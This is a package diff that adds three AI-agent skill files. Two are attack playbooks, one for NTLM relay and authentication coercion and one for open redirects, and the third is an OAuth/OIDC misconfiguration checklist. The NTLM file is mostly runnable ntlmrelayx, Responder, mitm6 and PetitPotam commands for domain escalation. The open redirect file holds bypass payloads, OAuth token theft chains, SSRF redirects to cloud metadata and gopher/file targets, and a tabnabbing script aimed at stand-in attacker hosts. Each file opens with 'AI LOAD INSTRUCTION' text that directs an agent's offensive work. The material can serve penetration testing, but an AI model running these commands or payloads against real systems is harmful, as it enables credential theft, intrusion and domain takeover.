ineedcodes 1.6.0 → 1.7.0

package/skills/ntlm-relay-coercion/SKILL.md

@@ -0,0 +1,267 @@
+---
+name: ntlm-relay-coercion
+description: >-
+  NTLM relay and authentication coercion playbook. Use when capturing and relaying NTLM authentication to escalate privileges via SMB, LDAP, HTTP, or MSSQL relay targets, combined with PetitPotam, PrinterBug, and other coercion methods.gated: true
+---
+
+# SKILL: NTLM Relay and Authentication Coercion — Expert Attack Playbook
+
+> **AI LOAD INSTRUCTION**: Expert NTLM relay and coercion techniques. Covers relay to SMB/LDAP/HTTP/MSSQL, signing requirements, Responder poisoning, mitm6, cross-protocol relay, WebDAV coercion, and all major coercion methods. Base models miss signing/EPA requirements and cross-protocol relay constraints.
+
+## 0. RELATED ROUTING
+
+Before going deep, consider loading:
+
+- [active-directory-certificate-services](../active-directory-certificate-services/SKILL.md) for ESC8 (relay to ADCS enrollment)
+- [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for ACL modification via LDAP relay (RBCD, shadow creds)
+- [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) for Kerberos attacks after relay success
+- [windows-lateral-movement](../windows-lateral-movement/SKILL.md) for post-relay lateral movement
+
+### Advanced Reference
+
+Also load [COERCION_METHODS.md](./COERCION_METHODS.md) when you need:
+- Detailed coercion method comparison (PetitPotam, PrinterBug, DFSCoerce, etc.)
+- RPC function-level details and prerequisites
+- Coercer tool usage and discovery
+
+---
+
+## 1. NTLM RELAY FUNDAMENTALS
+
+```
+Victim          Attacker (relay)         Target
+  │                 │                      │
+  │── NTLM Auth ──→│                      │  (1) Victim authenticates (coerced/poisoned)
+  │                 │── Forward Auth ─────→│  (2) Attacker relays to target
+  │                 │←─ Challenge ──────── │  (3) Target sends challenge
+  │←─ Challenge ────│                      │  (4) Attacker forwards challenge to victim
+  │── Response ────→│                      │  (5) Victim computes response
+  │                 │── Forward Response ─→│  (6) Attacker relays response to target
+  │                 │←─ Authenticated! ────│  (7) Target accepts → attacker has session
+```
+
+### NTLMv1 vs NTLMv2
+
+| Feature | NTLMv1 | NTLMv2 |
+|---|---|---|
+| Security | Weak (crackable to NTLM hash) | Stronger (but still relayable) |
+| Relay | Yes | Yes |
+| Crack to hash | Yes (rainbow tables, crack.sh) | Offline brute-force only |
+| Downgrade | Force via Responder `--lm` | Default in modern Windows |
+
+---
+
+## 2. RELAY TARGET MATRIX
+
+| Target Protocol | What You Get | Signing Required by Default? | EPA/Channel Binding? |
+|---|---|---|---|
+| **SMB** | Command exec (if admin), file access | **DCs: Yes**, Workstations: No | No |
+| **LDAP** | ACL modification, RBCD, shadow creds, add computer | **DCs: No** (negotiated) | No (unless configured) |
+| **LDAPS** | Same as LDAP but encrypted | N/A | **Yes** (channel binding) |
+| **HTTP (ADCS)** | Certificate enrollment (ESC8) | No | Depends on config |
+| **MSSQL** | SQL queries, xp_cmdshell | No | No |
+| **IMAP/SMTP** | Email access | No | No |
+| **RPC** | Various (CA enrollment for ESC11) | Depends | No |
+
+### Signing Check
+
+```bash
+# Check SMB signing on target
+crackmapexec smb TARGET_IP --gen-relay-list relay_targets.txt
+# Outputs hosts WITHOUT required SMB signing
+
+# Nmap SMB signing check
+nmap -p 445 --script smb2-security-mode TARGET_RANGE
+```
+
+---
+
+## 3. RESPONDER — CREDENTIAL CAPTURE
+
+### LLMNR/NBT-NS/WPAD/mDNS Poisoning
+
+```bash
+# Start Responder (capture mode — don't relay, just capture hashes)
+responder -I eth0 -dwP
+
+# Analyze mode (passive, no poisoning)
+responder -I eth0 -A
+
+# Key protocols poisoned:
+# LLMNR (UDP 5355) — Link-Local Multicast Name Resolution
+# NBT-NS (UDP 137)  — NetBIOS Name Service
+# WPAD              — Web Proxy Auto-Discovery (proxy config)
+# mDNS (UDP 5353)   — Multicast DNS
+```
+
+### Responder + Relay (Don't Capture, Relay Instead)
+
+```bash
+# Disable HTTP and SMB servers in Responder (ntlmrelayx will handle them)
+# Edit /etc/responder/Responder.conf: set HTTP and SMB to Off
+
+# Start Responder for poisoning only
+responder -I eth0 -dwP
+
+# Start ntlmrelayx for relay
+ntlmrelayx.py -tf targets.txt -smb2support
+```
+
+---
+
+## 4. NTLMRELAYX — RELAY EXECUTION
+
+### Relay to SMB (Admin Execution)
+
+```bash
+# Execute command on targets (requires admin privs on target)
+ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
+
+# Dump SAM hashes
+ntlmrelayx.py -tf targets.txt -smb2support
+
+# Interactive SOCKS proxy (maintain sessions)
+ntlmrelayx.py -tf targets.txt -smb2support -socks
+# Then: proxychains smbclient //TARGET/C$ -U DOMAIN/user
+```
+
+### Relay to LDAP (ACL Modification)
+
+```bash
+# Automatic RBCD (delegate-access)
+ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support
+
+# Escalate via shadow credentials
+ntlmrelayx.py -t ldap://DC_IP --shadow-credentials -smb2support
+
+# Add computer account
+ntlmrelayx.py -t ldap://DC_IP --add-computer FAKE01 P@ss123 -smb2support
+
+# Dump domain info
+ntlmrelayx.py -t ldap://DC_IP -smb2support --dump-domain
+```
+
+### Relay to ADCS HTTP (ESC8)
+
+```bash
+ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support \
+  --adcs --template DomainController
+
+# Use with coercion to relay DC auth → get DC certificate
+```
+
+### Relay to MSSQL
+
+```bash
+ntlmrelayx.py -t mssql://SQL_HOST -smb2support -q "SELECT system_user; EXEC xp_cmdshell 'whoami'"
+```
+
+---
+
+## 5. MITM6 — IPv6 DNS TAKEOVER
+
+```bash
+# mitm6 exploits IPv6 auto-configuration to become DNS server
+mitm6 -d domain.com
+
+# Combined with ntlmrelayx
+ntlmrelayx.py -6 -t ldap://DC_IP -wh fake-wpad.domain.com --delegate-access -smb2support
+
+# Flow:
+# 1. mitm6 sends DHCPv6 replies → victim gets attacker as IPv6 DNS
+# 2. Victim queries WPAD → attacker responds
+# 3. NTLM auth triggered → relayed to LDAP
+# 4. RBCD or shadow credentials set on victim computer
+```
+
+---
+
+## 6. CROSS-PROTOCOL RELAY
+
+### SMB → LDAP
+
+Capture SMB authentication, relay to LDAP (requires no LDAP signing enforcement).
+
+```bash
+# Coerce SMB auth from DC, relay to LDAP on same or different DC
+ntlmrelayx.py -t ldap://DC02_IP --delegate-access -smb2support
+
+# Trigger coercion (attacker receives SMB auth)
+PetitPotam.py ATTACKER_IP DC01_IP
+```
+
+**Limitation**: SMB → LDAP relay fails if the source uses SMB signing negotiation that indicates relay.
+
+### WebDAV → LDAP
+
+WebDAV from workstations sends NTLM over HTTP → relay to LDAP (no signing issues).
+
+```bash
+# WebDAV coercion sends HTTP-based NTLM (no SMB signing concern)
+ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support
+
+# Coerce via WebDAV (workstation must have WebClient service running)
+# Use @ATTACKER_PORT format to force WebDAV
+PetitPotam.py ATTACKER@80/test WORKSTATION_IP
+```
+
+---
+
+## 7. WEBDAV-BASED COERCION
+
+WebClient service (WebDAV) converts SMB-type coercion to HTTP-based NTLM.
+
+```bash
+# Check if WebClient is running (port 80 listener or service query)
+crackmapexec smb TARGET -u user -p pass -M webdav
+
+# Start WebDAV coercion (from workstation, not server)
+# Force target to authenticate via HTTP:
+# Use UNC path format: \\ATTACKER@PORT\share
+```
+
+**Key advantage**: HTTP-based NTLM avoids SMB signing requirements.
+
+---
+
+## 8. NTLM RELAY DECISION TREE
+
+```
+Want to relay NTLM authentication
+│
+├── What auth can you capture?
+│   ├── Responder poisoning (passive, wait for queries)
+│   ├── mitm6 (DHCPv6 DNS takeover, periodic)
+│   └── Active coercion → load COERCION_METHODS.md
+│
+├── What target to relay to?
+│   │
+│   ├── Need code execution?
+│   │   ├── SMB target without signing → ntlmrelayx to SMB (§4)
+│   │   └── MSSQL target → ntlmrelayx to MSSQL + xp_cmdshell (§4)
+│   │
+│   ├── Need domain escalation?
+│   │   ├── LDAP signing not enforced?
+│   │   │   ├── Relay to LDAP → RBCD (§4)
+│   │   │   ├── Relay to LDAP → shadow credentials (§4)
+│   │   │   └── Relay to LDAP → add computer + delegate (§4)
+│   │   └── LDAP signing enforced?
+│   │       └── Relay to ADCS HTTP (ESC8) → certificate (§4)
+│   │
+│   └── Need certificate?
+│       └── Relay to ADCS HTTP/RPC → ESC8/ESC11 (§4)
+│
+├── Source is SMB-based?
+│   ├── Target is SMB → check signing (§2)
+│   ├── Target is LDAP → may work (cross-protocol, §6)
+│   └── Target is HTTP → works (cross-protocol)
+│
+├── Source is HTTP-based (WebDAV)?
+│   └── Relay to any target (no signing issues, §6/§7)
+│
+└── Relay fails?
+    ├── Check signing requirements (§2)
+    ├── Check EPA/channel binding
+    ├── Try cross-protocol (SMB → LDAP)
+    └── Try WebDAV coercion (avoids SMB signing)
+```

package/skills/oauth-oidc-misconfiguration/SKILL.md

@@ -0,0 +1,46 @@
+---
+name: oauth-oidc-misconfiguration
+description: >-
+  OAuth and OIDC misconfiguration testing playbook. Use when reviewing redirect URI handling, state and nonce validation, PKCE, token audience, callback binding, and identity-provider trust flaws.gated: true
+---
+
+# SKILL: OAuth and OIDC Misconfiguration — Redirects, PKCE, Scopes, and Token Binding
+
+> **AI LOAD INSTRUCTION**: Use this skill when the target uses OAuth 2.0 or OpenID Connect and you need a focused misconfiguration checklist: redirect URI validation, state and nonce handling, PKCE enforcement, token audience, and account binding mistakes.
+
+## 1. WHEN TO LOAD THIS SKILL
+
+Load when:
+
+- The app supports `Login with Google`, GitHub, Microsoft, Okta, or other IdPs
+- You see `authorize`, `callback`, `redirect_uri`, `code`, `state`, `nonce`, or `code_challenge`
+- Mobile or SPA clients rely on OAuth or OIDC flows
+
+For token cryptography and JWT header abuse, also load:
+
+- [jwt oauth token attacks](../jwt-oauth-token-attacks/SKILL.md)
+
+## 2. HIGH-VALUE MISCONFIGURATION CHECKS
+
+| Theme | What to Check |
+|---|---|
+| `state` handling | missing, static, predictable, or not bound to user session |
+| `redirect_uri` validation | prefix match, open redirect chaining, path confusion, localhost leftovers |
+| PKCE | missing for public clients, code verifier not enforced, downgraded flow |
+| OIDC `nonce` | missing or not validated on ID token return |
+| token audience and issuer | weak `aud` / `iss` checks, cross-client token reuse |
+| account binding | callback binds attacker identity to victim session |
+| scope handling | broader scopes granted than the user or client should receive |
+
+## 3. QUICK TRIAGE
+
+1. Map the full flow: authorize, callback, token exchange, logout.
+2. Replay callback flows with altered `state`, `nonce`, and `redirect_uri`.
+3. Compare SPA, mobile, and web clients for weaker validation.
+4. Check whether one provider account can be rebound to another local account.
+
+## 4. RELATED ROUTES
+
+- CORS or cross-origin token exposure: [cors cross origin misconfiguration](../cors-cross-origin-misconfiguration/SKILL.md)
+- XML federation or enterprise SSO: [saml sso assertion attacks](../saml-sso-assertion-attacks/SKILL.md)
+- CSRF-heavy login or binding bugs: [csrf cross site request forgery](../csrf-cross-site-request-forgery/SKILL.md)

package/skills/open-redirect/SKILL.md

@@ -0,0 +1,380 @@
+---
+name: open-redirect
+description: >-
+  Open redirect playbook. Use when URL parameters, form actions, or JavaScript sinks control navigation targets and may redirect users to attacker-controlled destinations.gated: true
+---
+
+# SKILL: Open Redirect — Expert Attack Playbook
+
+> **AI LOAD INSTRUCTION**: Open redirect techniques. Covers parameter-based redirects, JavaScript sinks, filter bypass, and chaining with phishing, CSRF Referer bypass, OAuth token theft, and SSRF. Often underrated but critical for phishing and as a building block in multi-step exploit chains.
+
+## 1. CORE CONCEPT
+
+Open redirect occurs when an application redirects users to a URL derived from user input without validation. The trusted domain acts as a "launchpad" for phishing or token theft.
+
+```
+https://trusted.com/redirect?url=https://evil.com
+→ User sees trusted.com in the link → clicks → lands on evil.com
+```
+
+---
+
+## 2. FINDING REDIRECT PARAMETERS
+
+### Common Parameter Names
+
+```text
+?url=           ?redirect=      ?next=          ?dest=
+?destination=   ?redir=         ?return=        ?returnUrl=
+?go=            ?forward=       ?target=        ?out=
+?continue=      ?link=          ?view=          ?to=
+?ref=           ?callback=      ?path=          ?rurl=
+```
+
+### Server-Side Sinks
+
+```
+HTTP 301/302 Location header
+PHP: header("Location: $input")
+Python: redirect(input)
+Java: response.sendRedirect(input)
+Node: res.redirect(input)
+```
+
+### Client-Side (JavaScript) Sinks
+
+```javascript
+window.location = input
+window.location.href = input
+window.location.replace(input)
+window.open(input)
+document.location = input
+```
+
+---
+
+## 3. FILTER BYPASS TECHNIQUES
+
+| Validation | Bypass |
+|---|---|
+| Checks if URL starts with `/` | `//evil.com` (protocol-relative) |
+| Checks domain contains `trusted.com` | `evil.com?trusted.com` or `trusted.com.evil.com` |
+| Blocks `http://` | `//evil.com`, `https://evil.com`, `\/\/evil.com` |
+| Checks URL starts with `https://trusted.com` | `https://trusted.com@evil.com` (userinfo) |
+| Regex `^/[^/]` (relative only) | `/\evil.com` (backslash treated as path in some browsers) |
+| Django `endswith('target.com')` | `http://evil.com/www.target.com` — URL path ends with target domain |
+| Whitelist by domain suffix | Subdomain takeover on `*.trusted.com` |
+
+```text
+# Protocol-relative:
+//evil.com
+
+# Userinfo bypass:
+https://trusted.com@evil.com
+
+# Backslash trick:
+/\evil.com
+/\/evil.com
+
+# URL encoding:
+https://trusted.com/%2F%2Fevil.com
+
+# Django endswith bypass:
+http://evil.com/www.target.com
+http://evil.com?target.com
+
+# Trusted site double-redirect (e.g., via Baidu link service):
+https://link.target.com/?url=http://evil.com
+
+# Special character confusion:
+http://evil.com#@trusted.com        # fragment as authority
+http://evil.com?trusted.com         # query string confusion
+http://trusted.com%00@evil.com      # null byte truncation
+
+# Tab/newline in URL (browser ignores whitespace):
+java%09script:alert(1)
+```
+
+---
+
+## 4. EXPLOITATION CHAINS
+
+### Phishing Amplification
+
+Attacker sends: `https://bigbank.com/redirect?url=https://bigbank-login.evil.com`
+Victim sees `bigbank.com` → clicks → enters credentials on clone site.
+
+### OAuth Token Theft
+
+If OAuth `redirect_uri` allows open redirect on the authorized domain:
+```
+/authorize?redirect_uri=https://trusted.com/redirect?url=https://evil.com
+→ Authorization code or token appended to evil.com URL
+→ Attacker captures token from URL fragment or query
+```
+
+### CSRF Referer Bypass
+
+Some CSRF protections check `Referer` header contains trusted domain:
+```
+1. Attacker page links to: https://trusted.com/redirect?url=https://trusted.com/change-email
+2. Redirect preserves Referer from trusted.com
+3. CSRF protection passes because Referer = trusted.com
+```
+
+### SSRF via Redirect
+
+When server follows redirects:
+```
+?url=https://attacker.com/redirect-to-internal
+# attacker.com returns 302 → http://169.254.169.254/
+# Server follows redirect → SSRF to metadata endpoint
+```
+
+---
+
+## 5. TESTING CHECKLIST
+
+```
+□ Identify all URL parameters that trigger redirects
+□ Test external domain: ?url=https://evil.com
+□ Test protocol-relative: ?url=//evil.com
+□ Test userinfo bypass: ?url=https://trusted.com@evil.com
+□ Test backslash: ?url=/\evil.com
+□ Test JavaScript sink: ?url=javascript:alert(1) (DOM-based)
+□ Check OAuth flows for redirect_uri open redirect
+□ Verify if redirect preserves auth tokens in URL
+```
+
+---
+
+## 6. TABNABBING (REVERSE TABNABBING)
+
+### Concept
+
+When a link opens a new tab with `target="_blank"` WITHOUT `rel="noopener"`:
+
+- The new page can access `window.opener`
+- It can redirect the ORIGINAL page: `window.opener.location = "https://phishing.com/login"`
+- User returns to "original" tab → sees fake login page → enters credentials
+
+### Detection
+
+```html
+<!-- Vulnerable: -->
+<a href="https://external.com" target="_blank">Click here</a>
+
+<!-- Safe: -->
+<a href="https://external.com" target="_blank" rel="noopener noreferrer">Click here</a>
+```
+
+### Exploitation
+
+```javascript
+// On the attacker-controlled page (opened via target="_blank"):
+if (window.opener) {
+    window.opener.location = "https://phishing.com/fake-login.html";
+}
+```
+
+### Where to Look
+
+- User-generated content with links (forums, comments, profiles)
+- `target="_blank"` links to external domains
+- PDF viewers, document previews opening in new tabs
+
+---
+
+## 7. OPEN REDIRECT → OAUTH TOKEN THEFT (DETAILED CHAINS)
+
+### 7.1 OAuth Implicit Flow
+
+In the implicit flow, the access token is returned in the URL fragment (`#access_token=...`). If `redirect_uri` allows an open redirect on the authorized domain:
+
+```text
+/authorize?response_type=token
+  &client_id=CLIENT
+  &redirect_uri=https://target.com/callback/../redirect?url=https://evil.com
+  &scope=read
+
+Flow:
+1. User authenticates → authorization server redirects to:
+   https://target.com/redirect?url=https://evil.com#access_token=SECRET
+2. Open redirect fires → browser navigates to:
+   https://evil.com#access_token=SECRET
+3. Attacker page reads location.hash → captures access token
+```
+
+### 7.2 Authorization Code Flow
+
+The authorization code is sent as a query parameter. If the redirect chain preserves query parameters:
+
+```text
+/authorize?response_type=code
+  &client_id=CLIENT
+  &redirect_uri=https://target.com/callback%2f..%2fredirect%3furl%3dhttps://evil.com
+
+Flow:
+1. Authorization server validates redirect_uri prefix → matches https://target.com/
+2. Redirects to: https://target.com/redirect?url=https://evil.com&code=AUTH_CODE
+3. Open redirect sends victim to: https://evil.com?code=AUTH_CODE
+4. Attacker exchanges code for access token
+```
+
+### 7.3 OIDC id_token Fragment Leak
+
+```text
+/authorize?response_type=id_token
+  &client_id=CLIENT
+  &redirect_uri=https://target.com/cb
+  &nonce=NONCE
+
+If redirect_uri points to open redirect endpoint:
+→ id_token in fragment sent to attacker
+→ Attacker has signed identity assertion
+→ Can authenticate as victim on any RP accepting this IdP
+```
+
+### 7.4 redirect_uri validation bypass patterns
+
+```text
+redirect_uri=https://target.com/callback/../open-redirect?url=evil.com
+redirect_uri=https://target.com/callback?next=https://evil.com
+redirect_uri=https://target.com/callback%23@evil.com
+redirect_uri=https://target.com/callback/../../redirect
+redirect_uri=https://target.com/callback#@evil.com
+```
+
+---
+
+## 8. OPEN REDIRECT → SSRF CHAIN
+
+### Server-side redirect following
+
+When a server-side component follows HTTP redirects (e.g., URL preview, link unfurler, webhook, image fetcher):
+
+```text
+1. Submit URL to server-side fetcher: http://attacker.com/redirect
+2. attacker.com responds: 302 Location: http://169.254.169.254/latest/meta-data/
+3. Server follows redirect → SSRF to cloud metadata endpoint
+4. Response (IAM credentials) returned to attacker or visible in preview
+```
+
+### Multi-hop redirect for filter bypass
+
+```text
+1. Server blocks direct requests to 169.254.169.254
+2. Submit: http://attacker.com/r1
+3. r1 → 302 → http://attacker.com/r2  (same domain, passes filter)
+4. r2 → 302 → http://169.254.169.254/ (internal, filter not re-checked)
+```
+
+### DNS rebinding variant
+
+```text
+1. attacker.com resolves to attacker's public IP (TTL=0)
+2. Server resolves attacker.com → public IP → passes SSRF filter
+3. Connection established, but HTTP redirect points to attacker.com again
+4. Second DNS resolution: attacker.com now resolves to 169.254.169.254
+5. Server follows redirect to internal address
+```
+
+### Scope escalation via redirect protocols
+
+```text
+http://attacker.com/redirect → gopher://127.0.0.1:6379/...  (Redis SSRF)
+http://attacker.com/redirect → file:///etc/passwd            (local file read)
+http://attacker.com/redirect → dict://127.0.0.1:11211/       (Memcached)
+```
+
+Not all HTTP clients follow cross-protocol redirects, but `curl` (default) and some libraries do.
+
+---
+
+## 9. URL PARSER CONFUSION FOR REDIRECT BYPASS
+
+When a redirect validation function parses the URL differently from the browser or server that ultimately processes it:
+
+### Protocol-relative URL
+
+```text
+//attacker.com
+→ Browser: https://attacker.com (inherits current page protocol)
+→ Some validators: relative path "/attacker.com" (wrong)
+```
+
+### Backslash confusion
+
+```text
+\/\/attacker.com
+/\/attacker.com
+→ Many browsers normalize \ to / in URLs
+→ Validators treating \ as path character may allow it
+```
+
+### Userinfo section abuse
+
+```text
+//attacker.com\@target.com
+→ Browser: navigates to attacker.com (@ is userinfo delimiter)
+→ Validator sees "target.com" in the string → passes allowlist check
+
+//target.com@attacker.com
+→ Browser: userinfo=target.com, host=attacker.com
+→ Validator checks "starts with target.com" → passes
+
+https://target.com%2F@attacker.com
+→ URL-decoded: target.com/ as userinfo, host=attacker.com
+```
+
+### Double encoding
+
+```text
+//attacker%252ecom
+→ First decode: //attacker%2ecom (passes validator)
+→ Second decode (by server/browser): //attacker.com (actual redirect)
+```
+
+### CRLF injection + redirect
+
+```text
+/%0d%0aLocation:%20https://attacker.com
+→ If server reflects the path in a header context:
+   HTTP/1.1 302 Found
+   Location: /
+   Location: https://attacker.com  ← injected header wins
+```
+
+### Fragment confusion
+
+```text
+https://target.com#@attacker.com
+→ Browser: host=target.com, fragment=@attacker.com
+→ But some JS-based redirects: window.location = url → may process differently
+
+https://attacker.com#.target.com
+→ Validator: sees "target.com" in string → passes
+→ Browser: navigates to attacker.com (fragment ignored in navigation)
+```
+
+### Special characters
+
+```text
+https://attacker.com%E3%80%82target.com
+→ Unicode ideographic full stop (U+3002) — some parsers treat as dot
+→ Browser may normalize differently than validator
+
+https://attacker。com    (U+3002 fullwidth period)
+https://attacker．com    (U+FF0E fullwidth full stop)
+```
+
+### Combined URL parser differential table
+
+| Payload | Validator Sees | Browser Navigates To |
+|---------|---------------|---------------------|
+| `//evil.com` | Relative path | `https://evil.com` |
+| `\/\/evil.com` | Path `\/\/evil.com` | `https://evil.com` |
+| `//evil.com\@target.com` | Contains `target.com` | `https://evil.com` |
+| `//target.com@evil.com` | Starts with `target.com` | `https://evil.com` |
+| `/%0d%0aLocation: https://evil.com` | Path string | Header injection → redirect |
+| `//evil%252ecom` | `evil%2ecom` (not a domain) | `evil.com` (after double decode) |